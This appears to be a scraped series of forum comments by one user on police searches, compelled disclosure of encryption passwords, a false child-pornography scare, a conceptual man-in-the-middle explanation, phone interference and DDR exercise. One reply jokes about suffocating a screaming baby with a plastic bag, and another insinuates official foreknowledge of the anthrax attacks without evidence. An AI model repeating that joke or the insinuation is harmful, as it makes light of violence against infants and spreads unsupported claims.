If two eyewitnesses, sworn officers no less, who apparently had ample time to look at the evidence before somebody shut the machine down, aren't enough to get 'beyond a reasonable doubt' then we better fucking empty the prisons.
It's not, and we (largely) should. Non-violent drug offenders don't belong in jail - if anywhere, rehab would make more sense.
A number of years ago, I played with illegal fireworks. I was stupid. It happens.
The police in the town I lived in are famous for walking in and claiming you "consented" to a search. As such, when I left the apartment, I locked the door behind me. I also, rather politely, informed the officer that I was not familiar with the law, and as such I could not consent to a search until I had a chance to talk to an attorney.
They tried everything to avoid getting a search warrant, starting with the "come on, what do you have to hide", moving on to the "It might help your case if you cooperate", and finally moving on to pulling out a knife, calling it a "throwdown knife", and informing me that "it's used for planting on the body of the person you just shot so you can claim self defense, so how about letting us in?". The only reason I didn't end up letting them in was that a) I finally got a call back from an attorney, and b) some other people showed up, forcing the police officer to quit threatening me.
Police lie. Suspects lie. If there's no real evidence, then it's not "beyond a reasonable doubt". The word of police officers by itself isn't sufficient, and "well it looked like child porn in the 3 minutes I had to look at it" isn't either. Sometimes that means that guilty people go free, and that's a small price to pay. Convicting everyone who goes to court is very _effective_ at ensuring the guilty don't go free, but it's still not a good idea.
Why should an encrypted harddrive be any different? As far as I'm concerned, if the cops have a warrant, refusing to divulge the password is no different that refusing to let the cops into your house. The process of getting a warrant should be every bit as rigorous as any other warrant (well, at least any other warrant 7 years ago).
From a practical standpoint, it's problematic to force someone to produce something that can't be guaranteed to exist. People forget things. Putting someone (potentially) in a position where they are punished for failing to comply with an impossible demand is bad.
From a philosophical standpoint, a passphrase, unlike a key, is something in your head. It may be easier on the prosecution to compel testimony, but the constitution isn't about making the lives of the prosecutors easy. In fact, the opposite is true.
In most cases, you _know_ whether you are guilty or innocent, but the constitution explicitly forbids forcing self-incrimination. This helps avoid "rubber hose" confessions, etc.
Let me put it this way: Suppose we have someone who has committed multiple crimes. This isn't to necessarily say that this is a bad thing - we've had some really bad and/or constitutional laws over the years - from the Fugitive Slave Act, the Executive Order that excluded Japanese from the west coast (we interned them in "War Relocation Camps"), prohibition, you name it. He has evidence which would prove his guilt, encrypted on his laptop.
This individual is accused of a crime, and there is sufficient evidence to grant a warrant. Whether he's guilty of the crime he is accused of or not is irrelevant. The laptop is seized.
At this point, we have a dilemma. Compelling him to disclose the password would compel him to provide incriminating evidence against himself, which would be a violation of the 5th amendment. It's also impossible to know whether or not this is the case until such infringement has already occurred.
Further, from a practical standpoint, it's practically guaranteed that any given laptop has evidence of wrongdoing, either civil or criminal. We are subject to an estimated 10,000 laws at any given time, plus administrative policies given force of law by incorporation. It's effectively impossible to develop modern software without patent infringements. Using any modern browser will create transitory copies of images, HTML, etc. from the sites you visit.
So, compelling any password can be reasonably assumed to provide evidence of some guilt, and it is unethical, immoral, and illegal to compel someone to testify against themself.
Seriously, if he's innocent would he really prefer to do the time than have a officer of the law view the contents of his laptop?
If he's not a moron (or if he has a good attorney), absolutely.
I had a laptop siezed in a fireworks case. I had never worried much about encryption, as my laptop is rarely out of my sight.
Long story shut, a couple months later they are threatening to send me to jail for posession of child pornography. My attorney finally manages to get the "evidence" from them.
Looking at the cache, and the referer, we were able to determine what the one offending picture was. It was a single blurry thumbnail-sized picture of the profile of a clothed woman, which was loaded automatically as the result of a Google image search for nothing related to pornography, or child pornography, with safesearch on.
As would be expected, my attorney got them to shut up, and no charges ended up being pressed. They were just trying to scare me, and it worked. I spent several months wondering if anyone had gotten on my laptop, if I was infected, etc. Simply being charged, with no conviction, would have screwed me over for the rest of my life, given the kinds of work I do. Sure, you can get it expunged, but that's no guarantee that it won't show up in a background check. By the time you get the documentation to Intellius or the like, it's been shared all over the place.
I don't think I have anything to hide, but one can never really be sure. All of my hard disks are now encrypted with TrueCrypt whole disk encryption.
Put it another way - since I have nothing to hide, then why should I be spied upon? If I did have something to hide, why would I permit it? Like checking receipts on the way out the door at a store, it's never in my best interest to give up my rights and submit.
It's likely. And even makes sense. What happens when there isn't enough of an antidote for everyone and you warn the public of a possible attack? So who do you warn?
Ah, but here's the problem with that scenario. We largely went to war because of Anthrax. Remember the so-called "mobile bioweapons lab", etc.? The official explanation is that he worked alone. So, if there was intelligence information warning of an anthrax attack, where did it come from?
If you don't verify a certificate against something, it's utterly useless against Man-In-The-Middle attacks.
I take a server, generate my own cert and key, and present myself as that server. I then take your data, and forward it to the server, and forward the response to you.
This leaves me with all of the data, making SSL worthless.
So, yeah, I'm going to go with "moron" on this one.
Some people do absolutely need to bring babies. If you can find a reliable means to prevent babies from screaming then I'd be all for it.
A plastic bag?
Phones can cause interference, but it really depends. The plane makes a difference (bigger planes tend to have less issues), as does the phone.
As an extreme example, I have a phone that was dropped a couple times - when it's about to get a phone call, it makes loud noises on any speakers within 10 feet.
I had it configured to use email (timed pull); in a conference room, it kept setting off the polycom phone speaker every time it would try to pull data. Had to leave it in the next room.
When I replaced that phone with one of the same model, I could leave it 6 inches from the speakers and get a slight hum.
Larger planes tend to have
After a couple changes for readability purposes:
Your cellphone carrier can update all of your cellphones firmware, whether [the phone is] on or off. If you think they can't turn on the microphone and listen as well, you're living in [a] dreamworld.
It's already happened.
Some phones do have the ability to have updates pushed down to them by the carrier. Generally speaking, phones with internet ability are more likely to allow this - the more "corporate friendly" the device, the easier it's likely to be.
Personally, I'm a (palm) Treo user - it doesn't have daemons listening which would allow the carrier to do this, even if I have internet access. Firmware updates are a big deal - it's not something that can be done remotely. Applications can be downloaded using the browser, but it's a manual process.
Windows mobile phones generally don't have this functionality, either - it would be difficult to hide, and there are too many things that could go wrong, as well as differences in hardware. Java-based phones make this easier.
The perfect example of this is the BlackBerry - they even Advertise this functionality.
We barely have seatbelt laws here. Phone? Fine. Camera? Fine. Shotgun rack? Fine. Bought the shotgun at a gunshow with no ID? Fine.
Wyoming?
Get a PS2 game, get a couple cheap mats, and give it a go.
As you get better at DDR, the cheap pads start getting in the way. You can get some pretty decent metal pads, like the Cobalt Flux, or just go whole hog and get a thousand-pound arcade machine.
Almost every night, I bike from Harvard to MIT (couple miles), and go play an hour or more of DDR before going back.
I play DDR on doubles (both sides at once), on heavy. It burns a _lot_ of calories.
I've gone from a 36 inch to a 32 inch waist in the past 2 months, and dropped over 40 pounds since I got here. Unfortunately, I'm not trying to - being 6'10" and 170 pounds isn't healthy. It is great exercise, though.
Even if the pirates are somehow right and information truly isn't property in some way, they still lose, because they look like thieves in front of the majority of people who still pay for things.
If you put a bunch of lobsters in a tank, they will pull each other down, even if it were possible to escape on their own. For a species that's supposedly way more advanced than lobsters, we seem to have a lot in common.
Or, in SlashDot meme form:
1) Pass unconstitutional, illegal, or simply egregious law or tax
2) Laugh as people turn on each other - "I paid mine; you must pay yours"
3) Profit
Of course, nobody stops to ask if we've gone too far in the first place. Sure, tax evaders indirectly raise my taxes, but what if everyone's taxes are too high to begin with?
You mean that people get PUNISHED for committing crimes? The horror!
When looking at a "corrections" system - it's important to look at _why_ one should be doing this:
1) Protection. Some people are too dangerous to allow in the general populace.
2) Deterrent. This helps with the cost-benefit analysis of criminals - "Is this robbery worth 5 years?" If not, they aren't going to burglarize. Note: This only works as far as it factors into calculations. If it's a "heat of the moment" kind of thing, the criminal might not be thinking about the consequences.
3) Restitution. If there is a victim, restitution should be made as much as possible.
As far as the actual "punishment" part - why? The crime has been committed, and can't be undone. You can't deter this crime, only future crimes. What does "punishment" get you other than a sense of smugness?
I'm pro death penalty, but not because of the "revenge" aspect. Sometimes, people need to be put down for the same reasons that rabid dogs do. It shouldn't be emotionally satisfying, though.
You can't seriously believe that everyone sent to prison is a criminal, can you?
Well, then we just need to make being imprisoned illegal, don't we?